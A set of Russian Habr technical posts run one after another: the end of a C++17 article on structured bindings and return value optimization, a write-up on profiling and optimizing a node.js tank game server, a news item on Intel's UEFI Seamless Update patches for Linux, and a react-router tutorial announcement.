// static\_assert(false); // так нельзя
static\_assert(trait::value); // можно, даже при том, что trait::value всегда будет false
}
}
```
О чём нужно помнить
-------------------
1. Код во всех ветках должен быть корректным.
2. Внутри шаблонов содержимое отбрасываемых веток не инстанцируется.
3. Код внутри любой ветки должен быть корректным хотя бы для одного чисто потенциального варианта инстанцирования шаблона.
Структурное связывание (structured binding)
===========================================
В C++17 появился достаточно удобный механизм декомпозиции различных кортежеподобных объектов, позволяющий удобно и лаконично привязывать их внутренние элементы к именованным переменным:
```
// Самый частый пример использования — проход по ассоциативному массиву:
for (const auto& [key, value] : map) {
std::cout << key << ": " << value << std::endl;
}
```
Под кортежеподобным объектом я буду подразумевать такой объект, для которого известно количество доступных внутренних элементов на момент компиляции (от «кортеж» — упорядоченный список с фиксированным количеством элементов (вектор)).
Под это определение попадают такие типы, как: `std::pair`, `std::tuple`, `std::array`, массивы вида «`T a[N]`», а также различные самописные структуры и классы.
Стоп… В структурном связывании можно использовать свои собственные структуры? Спойлер: можно (правда, иногда придется поднапрячься (но об этом ниже)).
Как оно работает
----------------
Работа структурного связывания заслуживает отдельной статьи, но, раз мы говорим именно о «скользких» местах, я постараюсь кратко пояснить, как все устроено.
В стандарте дается следующий синтаксис для определения связывания:
*attr*(optional) *cv-auto* *ref-operator*(optional) [ *identifier-list* ] *expression*;
* `attr` — опциональный список атрибутов;
* `cv-auto` — auto с возможными модификаторами const/volatile;
* `ref-operator` — опциональный спецификатор ссылочности (& или &&);
* `identifier-list` — список имен новых переменных;
* `expression` — выражение, дающее в результате кортежеподобный объект, который используется для связывания (expression может быть в виде «`= expr`», « `{expr}`» или «`(expr)`»).
Важно отметить, что количество имен в `identifier-list` должно совпадать с количеством элементов в объекте, получаемом в результате выполнения `expression`.
Это все позволяет писать конструкции вида:
```
const volatile auto && [a,b,c] = Foo{};
```
И тут мы попадем на первое «скользкое» место: встречая выражение вида «`auto a = expr;`», привычно подразумеваешь, что тип «`a`» будет вычислен по выражению «`expr`», и ожидаешь, что в выражении «`const auto& [a,b,c] = expr;`» будет сделано то же самое, только типы для «`a,b,c`» будут соответствующими `const&` типами элементов «`expr`»...
Истина же отличается: спецификатор «`cv-auto ref-operator`» используется для вычисления типа невидимой переменной, в которую присваивается результат вычисления expr (то есть компилятор заменяет «`const auto& [a,b,c] = expr`» на «`const auto& e = expr`»).
Таким образом появляется новая невидимая сущность (здесь и далее буду называть ее {e} ), впрочем, сущность весьма полезная: например, она может материализовывать временные объекты (поэтому можно спокойно их связывать «`const auto& [a,b,c] = Foo {};`»).
Второе «скользкое» место вытекает сразу же из замены, которую делает компилятор: если тип, выведенный для {e}, не является ссылочным, то результат `expr` будет скопирован в {e}.
Какие же типы будут у переменных в `identifier-list`? Начнем с того, что это будут не совсем переменные. Да, они ведут себя как самые настоящие, обычные переменные, но только с тем отличием, что внутри они ссылаются на связанную с ними сущность, причем `decltype` от такой «ссылочной» переменной будет выдавать тип именно сущности, на которую эта переменная ссылается:
```
std::tuple t(1, 2.f);
auto& [a, b] = t; // decltype(a) — int, decltype(b) — float
++a; // изменяет, как «по ссылке», первый элемент t
std::cout << std::get<0>(t); // выведет 2
```
Сами же типы определяются следующим образом:
1. Если **{e}** — массив (`T a[N]`), то тип будет один — T, cv-модификаторы будут совпадать с таковыми у массива.
2. Если **{e}** имеет тип E и поддерживает интерфейс кортежей — определены структуры:
```
std::tuple_size
```
```
std::tuple_element
```
и функция:
```
get*({e}); // или {e}.get*()**
```
то тип каждой переменной будет типом `std::tuple_element_t`
3. В иных случаях тип переменной будет соответствовать типу элемента структуры, к которой выполняется привязка.
Итак, если совсем кратко, при структурном связывании выполняются следующие шаги:
1. Вычисление типа и инициализация невидимой сущности {e} исходя из типа `expr` и `cv-ref` модификаторов.
2. Создание псевдопеременных и привязка их к элементам {e}.
Структурное связывание своих классов/структур
---------------------------------------------
Главное препятствие к связыванию своих структур — отсутствие в C++ рефлексии. Даже компилятору, который, казалось бы, должен уж точно знать о том, как устроена внутри та или иная структура, приходится несладко: модификаторы доступа (public/private/protected) и наследование сильно затрудняют дело.
Из-за подобных трудностей ограничения на использование своих классов весьма жесткие (по крайней мере пока: [P1061](http://www.open-std.org/JTC1/SC22/WG21/docs/papers/2018/p1061r0.html), [P1096](http://www.open-std.org/JTC1/SC22/WG21/docs/papers/2018/p1096r0.pdf)):
1. Все внутренние нестатические поля класса должны быть из одного базового класса, и они должны быть доступны на момент использования.
2. Или класс должен реализовать «рефлексию» (поддержать интерфейс кортежей).
```
// Примеры «простых» классов
struct A { int a; };
struct B : A {};
struct C : A { int c; };
class D { int d; };
auto [a] = A{}; // работает (a -> A::a)
auto [a] = B{}; // работает (a -> B::A::a)
auto [a, c] = C{}; // ошибка: a и c из разных классов
auto [d] = D{}; // ошибка: d — private
void D::foo()
{
auto [d] = *this; // работает (d доступен внутри класса)
}
```
Реализация интерфейса кортежей позволяет использовать любые свои классы для связывания, однако выглядит чуть громоздкой и таит в себе еще один «подводный камень». Давайте сразу на примере:
```
// Небольшой класс, который должен возвращать ссылку на int при связывании
class Foo;
template<>
struct std::tuple_size : std::integral\_constant {};
template<>
struct std::tuple\_element<0, Foo>
{
using type = int&;
};
class Foo
{
public:
template
std::tuple\_element\_t const& get() const;
template
std::tuple\_element\_t & get();
private:
int \_foo = 0;
int& \_bar = \_foo;
};
template<>
std::tuple\_element\_t<0, Foo> const& Foo::get<0>() const
{
return \_bar;
}
template<>
std::tuple\_element\_t<0, Foo> & Foo::get<0>()
{
return \_bar;
}
```
Теперь «привязываем»:
```
Foo foo;
const auto& [f1] = foo;
const auto [f2] = foo;
auto& [f3] = foo;
auto [f4] = foo;
```
И самое время подумать, какие типы у нас получились? (Кто смог сразу ответить правильно, заслуживает вкусную конфетку.)
```
decltype(f1);
decltype(f2);
decltype(f3);
decltype(f4);
```
**Правильный ответ**
```
decltype(f1); // int&
decltype(f2); // int&
decltype(f3); // int&
decltype(f4); // int&
++f1; // это сработает и поменяет foo._foo, хотя {e} должен был быть const
```
Почему так получилось? Ответ кроется в специализации по умолчанию для `std::tuple_element`:
```
template
struct std::tuple\_element
{
using type = std::add\_const\_t>;
};
```
`std::add_const` не добавляет `const` к ссылочным типам, поэтому и тип для `Foo` будет всегда `int&`.
Как это победить? Просто добавить специализацию для `const Foo`:
```
template<>
struct std::tuple_element<0, const Foo>
{
using type = const int&;
};
```
Тогда все типы будут ожидаемыми:
```
decltype(f1); // const int&
decltype(f2); // const int&
decltype(f3); // int&
decltype(f4); // int&
++f1; // это уже не сработает
```
Кстати, это же поведение справедливо и для, например, `std::tuple`
— можно получить неконстантную ссылку на внутренний элемент, даже несмотря на то, что сам объект будет константным.
О чем нужно помнить
-------------------
1. «`cv-auto ref`» в «`cv-auto ref [a1..an] = expr`» относится к невидимой переменной {e}.
2. Если выведенный тип {e} не является ссылочным, {e} будет инициализирована копированием (осторожно с «тяжеловесными» классами).
3. Связанные переменные — «неявные» ссылки (они ведут себя как ссылки, хотя `decltype` возвращает для них нессылочный тип (кроме тех случаев, когда переменная ссылается на ссылку)).
4. Нужно быть внимательными при использовании ссылочных типов для связывания.
Оптимизация возвращаемого значения (rvo, copy elision)
======================================================
Пожалуй, это была одна из самых бурно обсуждаемых фичей стандарта C++17 (по крайней мере, в моем кругу общения). И действительно: C++11 принес семантику перемещения, которая сильно упростила передачу «внутренностей» объекта и создание различных фабрик, а C++17 вообще, казалось бы, дал возможность не задумываться о том, как возвращать объект из какого-нибудь фабричного метода, — теперь все должно быть без копирования и вообще, «скоро и на Марсе все зацветет»…
Но давайте будем немного реалистами: оптимизация возвращаемого значения — не самая простая для реализации штука. Очень рекомендую посмотреть вот это выступление с cppcon2018: Arthur O'Dwyer «[Return Value Optimization: Harder Than It Looks](https://www.youtube.com/watch?v=hA1WNtNyNbo)», в котором автор рассказывает, почему это сложно.
Краткий спойлер:
Есть такое понятие, как «слот для возвращаемого значения». Этот слот — по сути, просто место на стеке, которое выделяет тот, кто вызывает, и передает вызываемому. Если вызываемый код точно знает, какой единственный объект будет возвращен, он может просто сразу, напрямую создать его в этом слоте (при условии, что размер и тип объекта и слота совпадают).
Что из этого следует? Давайте сразу разбирать на примерах.
Здесь все будет хорошо — сработает NRVO, объект сконструируется сразу в «слоте»:
```
Base foo1()
{
Base a;
return a;
}
```
Здесь уже нельзя однозначно определить, какой объект должен быть в итоге, поэтому будет [неявно вызван move-конструктор](https://en.cppreference.com/w/cpp/language/return#automatic_move_from_local_variables_and_parameters) (c++11):
```
Base foo2(bool c)
{
Base a,b;
if (c) {
return a;
}
return b;
}
```
Здесь чуточку сложнее… Так как тип возвращаемого значения отличается от объявленного типа, неявно `move` вызвать нельзя, поэтому по умолчанию вызовется copy-конструктор. Чтобы этого не произошло, нужно явно вызвать `move`:
```
Base foo3(bool c)
{
Derived a,b;
if (c) {
return std::move(a);
}
return std::move(b);
}
```
Казалось бы, это — то же самое, что и `foo2`, но тернарный оператор — весьма [своеобразная штука](https://en.cppreference.com/w/cpp/language/operator_other#Conditional_operator)…
```
Base foo4(bool c)
{
Base a, b;
return std::move(c ? a : b);
}
```
Аналогично `foo4`, но еще и тип другой, поэтому `move` нужен точно:
```
Base foo5(bool c)
{
Derived a, b;
return std::move(c ? a : b);
}
```
Как видно из примеров, над тем, как возвращать значение даже в, казалось бы, тривиальных случаях, все еще приходится задумываться… Есть ли способы немного упростить себе жизнь? Есть: clang с некоторых пор поддерживает [диагностику](https://clang.llvm.org/docs/DiagnosticsReference.html#wreturn-std-move) необходимости явного вызова `move`, да и существует несколько предложений ([P1155](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2019/p1155r3.html), [P0527](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2018/p0527r1.html)) в новый стандарт, которые сделают явный `move` менее нужным.
О чем нужно помнить
-------------------
1. RVO/NRVO сработает только в том случае, если:
* однозначно известно, какой единственный объект должен быть создан в «слоте возвращаемого значения»;
* типы возвращаемого объекта и функции совпадают.
2. Если есть неоднозначность в возвращаемом значении, то:
* если типы возвращаемого объекта и функции совпадают — move будет вызван неявно;
* иначе — надо явно вызвать move.
3. Осторожно с тернарным оператором: он краток, но может потребовать явный move.
4. Лучше использовать компиляторы с полезными диагностиками (или хотя бы статические анализаторы).
Заключение
==========
И все-таки я люблю C++ ;) | https://habr.com/ru/post/465181/ | null | ru | null |
# Танчики на node.js — оптимизация
 Спасибо всем, кто пытался поиграть в [первый раз](http://habrahabr.ru/blogs/gdev/132362/). Очень жаль, что я разочаровал столько людей жуткими тормозами игры. Но я мог бы и не догадаться до их причины, если бы не вы. Сейчас сервер порядком оптимизирован, но количество одновременных игр увеличено всего до пяти. Это незначительно, но дело уже не в производительности сервера, а в том, что в худшие вечерние часы скорость моего интернета не позволит больше. Заманухи ради появилась возможность выбрать уровень перед стартом игры. А также в ответ на [«обидный» комментарий](http://habrahabr.ru/blogs/gdev/132362/#comment_4394648), появилась возможность поиграть 2 на 2. Итак — [демка](http://bc.vtkd.ru/), [альтернативный сервер](http://bc.rj12.ru/), [еще сервер](http://awesome-domain.ru/). Сейчас остается надеяться, что я не сильно поспешил, и сервер не подведет. Под катом я расскажу, каких глупостей наделал в первой версии.
#### Профилирование
Итак, чтобы начать что-то оптимизировать, нужно найти узкие места. В случае node.js я поступил следующим образом: запускаем игру с ключом --prof
```
node --prof src/server
```
По завершении скрипта в текущей папке появится файл v8.log. Чтобы его превратить во что-то удобоваримое, я воспользовался утилитой linux-tick-processor из исходников v8. Не вдавался в подробности работы linux-tick-processor, но, чтобы получить её себе и заставить работать, пришлось выполнить несколько команд:
```
svn co http://v8.googlecode.com/svn/branches/bleeding_edge/ v8
cd v8
svn co http://gyp.googlecode.com/svn/trunk build/gyp
make native
```
После make native в текущей папке появится папка out с бинарниками, которыми пользуется linux-tick-processor. Чтобы обработать v8.log, в папке v8 выполняем:
```
tools/linux-tick-processor /full/path/to/v8.log > /full/path/to/v8.out
```
В получившемся v8.out смотрим результаты. Инфа о профилировании взята [отсюда](http://code.google.com/p/v8/wiki/V8Profiler). Если я делаю это слишком сложно и кто-то знает способ лучше, буду рад узнать.
#### Имитируем нагрузку
Второй раз испытывать судьбу и рушить надежды сотен хабралюдей поиграть в танчики мне не захотелось. И я решил имитировать нагрузку на сервер своими силами. Для этого неплохо подходит [Selenium](http://seleniumhq.org/), a точнее Selenium Server. Если кто-то не знаком, Selenium Server — это java приложение, способное запускать практически любой браузер, и выполнять разнообразные команды: кликать по ссылкам, нажимать кнопки, проверять наличие или отсутствие определенного текста на странице, и многое другое. Так же реализованы клиенты для многих языков программирования.
Для своих целей я написал [небольшой php-скрипт](http://code.google.com/p/battle-city-js/source/browse/selenium/test.php), который открывает страницу, авторизуется, запускает игру и ждет 30 секунд. Запустив этот скрипт на выполнения в нескольких консолях:
```
phpunit --repeat=10 test.php
```
получаем неплохой способ имитировать нагрузку.
#### Оптимизация 1 — замыкания
Запускаем node с профайлером, обрабатываем лог, и смотрим v8.out. В файле v8.out функции отсортированы по убыванию времени исполнения. Первой в логе идет функция Array.forEach:
```
ticks total nonlib name
1514 2.3% 14.9% LazyCompile: *forEach native array.js:1019
```
Тут я не сразу понял в чем дело. Я решил, что это из-за того, что в некоторых местах я использую конструкцию:
```
someArray.forEach(function(item){
...
}, this);
```
С каждым вызовом функции с таким кодом будет создаваться функция-замыкание. Но в большинстве мест я не использую возможности замыкания, поэтому безболезненного переписал такой код на следующий:
```
Class.prototype.handler = function(item)
{
...
}
Class.prototype.func = function()
{
someArray.forEach(this.handler, this);
}
```
Такой код должен быстрее выполняться, но как выяснилось позже, дело было не в этом.
#### Оптимизация 2 — поиск пересечений
Запускаем профайлер, запускаем selenium тесты и смотрим дальше:
```
ticks total nonlib name
31043 3.8% 16.5% LazyCompile: MapArrayed.intersects src/utils/map_arrayed.js:45
26763 3.3% 14.3% Stub: CEntryStub
22800 2.8% 12.1% LazyCompile: *forEach native array.js:1019
16323 2.0% 8.7% LazyCompile: IN native runtime.js:353
13800 1.7% 7.4% Stub: KeyedLoadElementStub
6911 0.9% 3.7% LazyCompile: *MapArrayed.forEach src/utils/map_arrayed.js:59
```
Что ж, не удивительно. Поиск пересечений занимает слишком много времени, нужно переписать карту. Я описывал три способа в [прошлой статье](http://habrahabr.ru/blogs/gdev/132362/): трехмерный массив с индексами-координатами, список прямоугольников и дерево вложенных прямоугольников. Поигравшись с деревом я пришел к выводу, что при 1000 объектов на карте большого выигрыша в производительности не получается. Идея трехмерного массива с индексами-координатам мне не нравится в принципе. Я остановился на следующем способе: в основе его так же остались объекты заданные прямоугольниками, но чтобы каждый раз не пробегать по всем объектам карты, объекты сгруппированы по небольшим ячейкам. То есть получаем тот же трехмерный массив, но с другим смыслом. Первые две размерности — это индексы ячеек, по сути это те же координаты, только с грубым приближением. Третья размерность — список объектов-прямоугольников пересекающихся с данной ячейкой. Отличия от [предложения Oblitus](http://habrahabr.ru/blogs/gdev/132362/#comment_4395035) в том, что такой способ не накладывает никаких ограничений на минимальный шаг перемещения для объектов и зернистость такого массива можно безболезненно варьировать по своему усмотрению. Вполне возможно, что это все еще не оптимальный вариант.
#### Оптимизация 3 — forEach
Опять смотрим результаты профилирования. Тут получается странная картина, если я поиграл только в одну игру, то имеем:
```
ticks total nonlib name
51 0.1% 11.6% LazyCompile: *Loggable.log battlecity/src/server/loggable.js:32
12 0.0% 2.7% LazyCompile: MapTiled.intersects battlecity/src/utils/map_tiled.js:106
8 0.0% 1.8% Stub: CEntryStub
6 0.0% 1.4% LazyCompile: *forEach native array.js:1019
4 0.0% 0.9% Stub: StringAddStub
4 0.0% 0.9% Stub: ArgumentsAccessStub_NewNonStrictFast
```
Если я запустил selenium и сервер проиграл несколько десятков игр:
```
ticks total nonlib name
4108 2.0% 16.1% LazyCompile: *forEach native array.js:1019
3626 1.8% 14.3% Stub: CEntryStub
2176 1.1% 8.6% LazyCompile: *MapTiled.forEach battlecity/src/utils/map_tiled.js:139
2048 1.0% 8.0% LazyCompile: IN native runtime.js:353
1755 0.9% 6.9% Stub: KeyedLoadElementStub {1}
1475 0.7% 5.8% LazyCompile: *Loggable.log battlecity/src/server/loggable.js:32
337 0.2% 1.3% LazyCompile: MapTiled.intersects battlecity/src/utils/map_tiled.js:106
336 0.2% 1.3% Stub: ToBooleanStub_Bool
```
Странная вещь, со временем forEach() жрет все больше и больше времени. Скажу, что каждый объект на карте имеет свой уникальный id, и этот id глобальный, то есть со временем он только увеличивается. Но кол-во объектов-то на карте не меняется от парии к парии. Это не очень удачный прием, можно сделать id объекта локальным для каждого игрового поля, чтобы id не увеличивался бесконечно, но ведь в javascript массивы хранятся не как в C++. В javascript это должно быть что-то типа хеш-таблицы, так почему же время forEach все больше и больше? В этом месте я долго бился головой об стену, пока не догадался провести такой эксперимент:
```
a=[1];
a[1000000]=1;
console.time('qwe');
a.forEach(function(i){console.log(i);})
console.timeEnd('qwe');
console.time('asd');
for (var i in a) console.log(a[i]);
console.timeEnd('asd');
```
В результате получаем неутешительные результаты.
FF:
```
qwe: 163ms
asd: 2ms
```
Chrome:
```
qwe: 254ms
asd: 1ms
```
ну и Opera для общей картины:
```
qwe: 0ms (188µsec)
asd: 0ms (87µsec)
```
Как видим в Опере forEach() и for(var i in ...) принципиально не отличаются по времени выполнения, но Chrome и Firefox очень сильно меня расстроили, именно по этому сервер (да и клиент) начинал сильно тормозить через несколько игр. Делать нечего, переписываем forEach() на for(var i in ...). И, о, чудо! Тормоза, которые я списывал на утечки памяти, пропадают!
Оставляем node на пару часов запустив в нескольких консолях «phpunit --repeat=100 test.php» и видим:
```
ticks total nonlib name
746 0.2% 16.1% LazyCompile: *Loggable.log battlecity/src/server/loggable.js:28
128 0.0% 2.8% LazyCompile: *Game._stepItem battlecity/src/core/game.js:77
101 0.0% 2.2% LazyCompile: MapTiled.intersects battlecity/src/utils/map_tiled.js:102
61 0.0% 1.3% Stub: CEntryStub
52 0.0% 1.1% Function: EventEmitter.emit events.js:38
50 0.0% 1.1% Stub: SubStringStub
46 0.0% 1.0% LazyCompile: *MapTiled.add battlecity/src/utils/map_tiled.js:24
45 0.0% 1.0% LazyCompile: FILTER_KEY native runtime.js:398
```
Наконец-то в результатах профилирования появляются вещи, о которых я предполагал, а не непонятно откуда взявшиеся forEach().
#### Оптимизация 4 — трафик
Тут я решил немного отступить от профайлера. Дело в том, что в поисках предыдущей оптимизации я посчитал трафик между клиентом и сервером. Оказалось в разгар игры клиенту может отправляться до 30кб/c. Очевидно, для такой игры, как танчики — это запредельная цифра. Но на это есть несколько причин. Во-первых, при изменения всего одного свойства, объект отправляется клиенту целиком. Во-вторых, объекты отправляются в JSON, что также значительно увеличивает размер передаваемых данных. Первоначально объекты отправлялись примерно так:
```
Bullet.prototype.serialize = function()
{
return {
type: 'Bullet',
id: this.id,
x: this.x,
y: this.y,
z: this.z,
speedX: this.speedX,
speedY: this.speedY,
finalX: this.finalX,
finalY: this.finalY
};
};
```
что вело к передаче строки {«type»:«Bullet»,«id»:777,«x»:123,«y»:456,«z»:1,«speedX»:2,«speedY»:0,«finalX»:123,«finalY»:456} длинной около 100 байт. Немного подумав, переделал сериализацию объектов так, чтобы получался не объект, а массив:
```
Bullet.prototype.serialize = function()
{
return [
battleCityTypesSerialize['Bullet'], // 0
this.id, // 1
this.x, // 2
this.y, // 3
this.speedX, // 4
this.speedY, // 5
this.finalX, // 6 todo remove
this.finalY // 7 todo remove
];
};
```
в результате получаем около 25 байт [0,777,123,456,2,0,123,456]. Трафик снизился примерно до 7-8кб/c в разгар игры. Его можно снизить еще в несколько раз, передавая только измененные свойства и передавая только управляющие команды, но эту переделку я оставил на будущее.
#### Оптимизация 5 — синхронизация с клиентом
Алгоритм синхронизации из [прошлой статьи](http://habrahabr.ru/blogs/gdev/132362/) оказался неудачным. Единственная причина именно такого выбора, а не мгновенная рассылка изменений всем клиентам, которые в них заинтересованы, была в том, что вновь подключившийся клиент может получить все изменения в прошлом точно таким же способом, что и текущие данные. Так же во время реализации этого способа я пришел к идее сгруппировать объекты в коллекции, и обращаться за обновлениями не к самим объектам, а к коллекциям объектов. Такими коллекциями стали «все пользователи», «сообщения в общем чате», «список игр», «пользователи в текущей игре», «сообщения в текущей игре» и «объекты на карте текущей игры».
Новым способом синхронизации стала немедленная рассылка изменений по объектам User, где они накапливаются. А объект User по прежнему отправляет данные браузеру пакетами, раз в 50мс. Остается вопрос когда и как синхронизировать первоначальные данные? Я решил добавить объекту User 2 метода: watchCollection() и unwatсhCollection() и в момент подключения к группе объектов, User отправляет клиенту все объекты, как вновь созданные:
```
/**
* @param collection
* @param syncKey ключ, по которому клиент узнает к какой группе относятся объекты
*/
ServerUser.prototype.watchCollection = function(collection, syncKey)
{
this.unwatchCollection(syncKey);
// сюда будут складываться обновления объектов
this.updateCollector[syncKey] = [];
var user = this;
var cb = function(item, type) {
user.onCollectionUpdate(syncKey, item, type);
};
// подписываемся на обновления
collection.on('update', cb);
// запоминаем callback, чтобы при отключении от группы, можно было удалить обработчик
this.collections[syncKey] = {'callback': cb, 'collection': collection};
// отправляем клиенту все объекты группы, как вновь созданные
collection.traversal(function(item){
this.onCollectionUpdate(syncKey, item, 'add');
}, this);
};
ServerUser.prototype.unwatchCollection = function(syncKey)
{
if (this.collections[syncKey]) {
// удаляем обработчик
this.collections[syncKey].collection.removeListener('update', this.collections[syncKey].callback);
// сообщаем клиенту, чтобы он удалил у себя эту группу
this.clientMessage('clearCollection', syncKey);
delete this.collections[syncKey];
delete this.updateCollector[syncKey];
}
};
```
Таким образом сразу после авторизации пользователя на сервере, объект User подключается к трем группам объектов (коллекциям):
```
user.watchCollection(registry.users, 'users');
user.watchCollection(registry.premades, 'premades');
user.watchCollection(registry.messages, 'messages');
```
А во время входа в игру и выхода из игры, пользователь соответственно подключается и отключается от других интересующих его коллекций:
```
Premade.prototype.join = function(user, clanId)
{
// ...
user.watchCollection(this.users, 'premade.users');
user.watchCollection(this.messages, 'premade.messages');
// ...
};
Premade.prototype.unjoin = function(user)
{
// ...
user.unwatchCollection('premade.users');
user.unwatchCollection('premade.messages');
user.unwatchCollection('f');
user.unwatchCollection('game.botStack');
// ...
};
Premade.prototype.startGame = function()
{
// ...
this.users.traversal(function(user){
// ...
user.watchCollection(this.game.field, 'f');
user.watchCollection(user.clan.enemiesClan.botStack, 'game.botStack');
// ...
}, this);
// ...
}
```
Жаль, что сразу не приходят в голову простые и правильные мысли.
В результате имеем:
```
ticks total nonlib name
2074 0.5% 9.9% LazyCompile: *Game._stepItem battlecity/src/core/game.js:29
751 0.2% 3.6% LazyCompile: MapTiled.intersects battlecity/src/utils/map_tiled.js:102
489 0.1% 2.3% LazyCompile: MapTiled.traversal battlecity/src/utils/map_tiled.js:132
376 0.1% 1.8% LazyCompile: FILTER_KEY native runtime.js:398
```
Судя по тому, что Game.\_stepItem вышел на первое место, и стал выполняться 9.9% времени, а не 2.8%, как раньше, считаем переделку успешной. На этот момент, сервер загружен примерно на 50% при 10 одновременных играх. Поставить 20 игр одновременно в демке я не рискнул, из-за того, что в худшие вечерние часы, скорость моего интернета падает до 200кБайт/с и ниже.
#### Оптимизация 6 — обход игровых объектов
Первоначально я не задумывался об этом, и для каждого объекта на поле в цикле вызывал функцию \_stepItem():
```
Game.prototype._stepItem = function(item)
{
// tanks and Base processing within Clan.step
if (item.step && !(item instanceof Tank) && !(item instanceof Base)) { // todo
item.step();
}
};
Game.prototype.step = function()
{
this.field.traversal(this._stepItem, this);
this.premade.clans[0].step();
this.premade.clans[1].step();
};
```
Эта функция вызывается для всех кусочков стены, да и еще и проверяет прототип каждого объекта. Чтобы избавиться от этого безобразия, я завел массив stepableItems, который меняется при добавлении и удалении объектов с карты. И не нужно больше делать сложные проверки в часто вызываемой функции:
```
Game = function Game(level, premade)
{
// ...
this.stepableItems = [];
this.field.on('add', this.onAddObject.bind(this));
this.field.on('remove', this.onRemoveObject.bind(this));
// ...
};
Game.prototype.onAddObject = function(object) {
if (object.step && !(object instanceof Tank) && !(object instanceof Base)) {
this.stepableItems[object.id] = object;
}
};
Game.prototype.onRemoveObject = function(object) {
delete this.stepableItems[object.id];
};
Game.prototype.step = function()
{
for (var i in this.stepableItems) {
this.stepableItems[i].step();
}
// ...
};
```
В результате я вернулся опять к пересечению объектов, но уже на совсем другом уровне:
```
ticks total nonlib name
129 0.0% 2.4% LazyCompile: MapTiled.intersects battlecity/src/utils/map_tiled.js:102
66 0.0% 1.2% Stub: SubStringStub
54 0.0% 1.0% Stub: CEntryStub
47 0.0% 0.9% Function: EventEmitter.emit events.js:38
39 0.0% 0.7% LazyCompile: MapTiled.add battlecity/src/utils/map_tiled.js:24
30 0.0% 0.6% Function: Socket._writeOut net.js:389
```
Теперь 5 игр одновременно занимают 15-16% процессорного времени. То есть мой старенький сервер должен потянуть около 30 игр в одном потоке.
#### Бага с наследованием
Пришлось побороться с одной багой, причины которой заслуживают внимания. При наследовании я забыл вызвать родительский «конструктор»:
```
function Parent()
{
this.property = [];
}
function Child()
{
// Parent.apply(this, argiments); - забыл
};
Child.prototype = new Parent();
Child.prototype.constructor = Child;
```
В результате массив property оказался только в prototype, а не в this. То есть расшарен между всеми экземплярами Child, что не вызвало никаких ошибок во время выполнения, но привело к труднообнаружимому багу. Все таки с javascript ничего не стоит прострелить себе ногу.
#### Планы на будущее
Первым делом я планирую заняться уменьшением трафика, и думаю начну с витающей в воздухе идеи — передавать клиенту только управляющие команды, такие как «начало движения», «остановка», и т.п. Я думал, что тут могут быть проблемы с рассинхронизацией. Но мне кажется, их легко решить, если с каждой управляющей командой передавать координаты для синхронизации.
Также нужно оптимизировать клиент, но каких-то конкретных идей у меня пока нет. Точнее сказать — я еще не профилировал клиент, и не знаю что именно там тормозит. Вообще мне этот проект интересен не ради самой игры, а в качестве подопытного для всяких идей. Например, чтобы во время чтения книг по ООП или каких-то статей, у меня был под рукой код к которому можно было применить почерпнутые знания. Так что буду рад советам, что можно почитать.
[Первая часть](http://habrahabr.ru/blogs/gdev/132362/) | https://habr.com/ru/post/133104/ | null | ru | null |
# Intel научилась обновлять UEFI без перезагрузки
Компания Intel разработала новый механизм обновления UEFI под названием [Intel Seamless Update](https://uefi.org/sites/default/files/resources/Intel_MM_OS_Interface_Spec_Rev100.pdf), который позволяет изменять конфигурацию UEFI на лету. Это очень удобно для администраторов серверов, которые могут накатывать новые прошивки прямо на работающую систему, обеспечивая гарантированный аптайм сервера согласно SLA.
Соответствующие патчи [поступили в ядро Linux](https://lore.kernel.org/lkml/cover.1631600169.git.yu.c.chen@intel.com/T/#m7962a60c7e10346582f701128b8d790b8fa67c7b).
Технический документ *[Intel Management Mode Firmware Runtime Update — OS Interface, revision 1.00](https://uefi.org/sites/default/files/resources/Intel_MM_OS_Interface_Spec_Rev100.pdf)* подробно объясняет механизм «плавных апдейтов».
Согласно описанию в документе, большинство функций обрабатываются в модуле режима управления (management mode, MM), службе сервисов рантайма UEFI и службах ACPI. Архитектура процессоров Intel поддерживают ММ через режим управления системой (System Management Mode, SMM). Изменение выполнения кода MM на лету называется MM Runtime Update (MRU).
Механизм MRU включает в себя три функции: инъекция кода MM, обновление драйвера MM и телеметрия MM. Эти функции вызываются из операционной системы через ACPI Device Specific Method (DSM). На иллюстрации показана высокоуровневая архитектура всей инфраструктуры обновления.
На следующей схеме более подробно изложен механизм обновления прошивки на лету.
Отмечается, что «агент ОС» может несколько раз запускать данную схему для доставки нескольких образов в прошивку или отката на предудущее обновление в одном большом цикле.
Издание Phoronix [обнаружило доказательства](https://www.phoronix.com/scan.php?page=news_item&px=Intel-Seamless-Update), что соответсвующие патчи пытаются добавить в ядро Linux. В частности, Intel [обновляет код](https://lore.kernel.org/lkml/cover.1631600169.git.yu.c.chen@intel.com/T/#m7962a60c7e10346582f701128b8d790b8fa67c7b) своих драйверов `pfru_update.c` и `pfru_telemetry.c` для ядра Linux.
```
.../userspace-api/ioctl/ioctl-number.rst | 1 +
Documentation/x86/index.rst | 1 +
Documentation/x86/pfru.rst | 100 +++
drivers/acpi/Kconfig | 1 +
drivers/acpi/Makefile | 1 +
drivers/acpi/pfru/Kconfig | 29 +
drivers/acpi/pfru/Makefile | 3 +
drivers/acpi/pfru/pfru_telemetry.c | 412 +++++++++++++
drivers/acpi/pfru/pfru_update.c | 567 ++++++++++++++++++
include/linux/efi.h | 50 ++
include/uapi/linux/pfru.h | 151 +++++
tools/testing/selftests/Makefile | 1 +
tools/testing/selftests/pfru/Makefile | 7 +
tools/testing/selftests/pfru/config | 2 +
tools/testing/selftests/pfru/pfru_test.c | 329 ++++++++++
15 files changed, 1655 insertions(+)
```
Судя по таймингу изменений, Intel готовится к тому, чтобы выкатить Seamless Update на серверах с процессорами Xeon Scalable нового поколения [Sapphire Rapids](https://www.intel.com/content/www/us/en/newsroom/opinion/updates-next-gen-data-center-platform-sapphire-rapids.html) в 2022 году.
В любом случае, это заметный шаг вперёд для корпоративных систем. Возможность накатить прошивку UEFI без перезагрузки — очень удобная вещь. Бесшовное обновление Intel, похоже, не требует специализированного оборудования, только поддержки драйверов и ОС. Если эту функцию внедряют в Linux, то ничего не мешает добавить её в серверную Windows, а затем и в обычные системы. | https://habr.com/ru/post/578354/ | null | ru | null |
# Текстовый туториал по react-router, а так же react-router + redux. На русском
Всем добрый день. Немного с задержкой, но все же выходит [третий мини-учебник](https://www.gitbook.com/book/maxfarseer/react-router-course-ru/details). На этот раз разобран [react-router](https://github.com/reactjs/react-router). А так же две главы посвещены интеграции react-router + [redux](http://redux.js.org/).
